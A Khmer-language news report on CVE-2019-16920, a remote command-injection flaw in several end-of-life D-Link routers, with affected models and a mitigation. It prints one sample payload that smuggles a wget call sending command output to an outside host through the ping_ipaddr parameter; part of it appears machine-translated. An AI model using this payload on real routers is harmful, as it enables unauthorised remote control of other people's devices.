ភាពងាយរងគ្រោះដែលអាចទាញយកពីចម្ងាយនៅក្នុង Router D-Link

នៅក្នុងរ៉ោតទ័រឥតខ្សែ D-Link កំណត់អត្តសញ្ញាណ ភាពងាយរងគ្រោះគ្រោះថ្នាក់ (CVE-2019-16920) ដែលអនុញ្ញាតឱ្យអ្នកប្រតិបត្តិកូដពីចម្ងាយនៅផ្នែកខាងឧបករណ៍ដោយផ្ញើសំណើពិសេសទៅកាន់ឧបករណ៍ដោះស្រាយ “ping_test” ដែលអាចចូលប្រើបានដោយមិនចាំបាច់មានការផ្ទៀងផ្ទាត់។

គួរឱ្យចាប់អារម្មណ៍ យោងទៅតាមអ្នកបង្កើតកម្មវិធីបង្កប់ ការហៅ "ping_test" គួរតែត្រូវបានប្រតិបត្តិតែបន្ទាប់ពីការផ្ទៀងផ្ទាត់ប៉ុណ្ណោះ ប៉ុន្តែតាមពិតវាត្រូវបានហៅក្នុងករណីណាក៏ដោយ ដោយមិនគិតពីការចូលទៅក្នុងចំណុចប្រទាក់គេហទំព័រ។ ជាពិសេស នៅពេលចូលប្រើស្គ្រីប apply_sec.cgi និងឆ្លងកាត់ប៉ារ៉ាម៉ែត្រ “action=ping_test” ស្គ្រីបប្តូរទិសទៅទំព័រផ្ទៀងផ្ទាត់ ប៉ុន្តែនៅពេលជាមួយគ្នាអនុវត្តសកម្មភាពដែលភ្ជាប់ជាមួយ ping_test ។ ដើម្បីប្រតិបត្តិកូដ ភាពងាយរងគ្រោះមួយទៀតត្រូវបានប្រើប្រាស់ក្នុង ping_test ខ្លួនវាផ្ទាល់ ដែលហៅឧបករណ៍ប្រើប្រាស់ ping ដោយមិនបានពិនិត្យឱ្យបានត្រឹមត្រូវនូវភាពត្រឹមត្រូវនៃអាសយដ្ឋាន IP ដែលបានអនុម័តសម្រាប់ការធ្វើតេស្ត។ ឧទាហរណ៍ ដើម្បីហៅឧបករណ៍ប្រើប្រាស់ wget ហើយផ្ទេរលទ្ធផលនៃពាក្យបញ្ជា “echo 1234” ទៅម៉ាស៊ីនខាងក្រៅ គ្រាន់តែបញ្ជាក់ប៉ារ៉ាម៉ែត្រ “ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http:// test.test/?$(បន្ទរ 1234)"។

វត្តមាននៃភាពងាយរងគ្រោះត្រូវបានបញ្ជាក់ជាផ្លូវការនៅក្នុងគំរូដូចខាងក្រោម៖

• DIR-655 ជាមួយកម្មវិធីបង្កប់ 3.02b05 ឬចាស់ជាងនេះ;
• DIR-866L ជាមួយកម្មវិធីបង្កប់ 1.03b04 ឬចាស់ជាងនេះ;
• DIR-1565 ជាមួយកម្មវិធីបង្កប់ 1.01 ឬចាស់ជាងនេះ;
• DIR-652 (ទិន្នន័យនៅលើកំណែកម្មវិធីបង្កប់ដែលមានបញ្ហាមិនត្រូវបានផ្តល់ឱ្យទេ)

រយៈពេលនៃការគាំទ្រសម្រាប់ម៉ូដែលទាំងនេះបានផុតកំណត់រួចហើយ ដូច្នេះ D-Link បានថ្លែងដែលនឹងមិនបញ្ចេញការអាប់ដេតសម្រាប់ពួកវាដើម្បីលុបបំបាត់ភាពងាយរងគ្រោះនោះ មិនណែនាំឱ្យប្រើពួកវា និងណែនាំឱ្យជំនួសពួកវាដោយឧបករណ៍ថ្មី។ ក្នុងនាមជាដំណោះស្រាយសុវត្ថិភាព អ្នកអាចដាក់កម្រិតការចូលប្រើចំណុចប្រទាក់បណ្ដាញទៅអាសយដ្ឋាន IP ដែលគួរឱ្យទុកចិត្តប៉ុណ្ណោះ។

ក្រោយមកគេបានរកឃើញថា ភាពងាយរងគ្រោះក៏មានផងដែរ។ ប៉ះពាល់ ម៉ូដែល DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 និង DIR-825 គ្រោងនឹងចេញផ្សាយបច្ចុប្បន្នភាពដែលមិនទាន់ដឹងនៅឡើយ។

ប្រភព: opennet.ru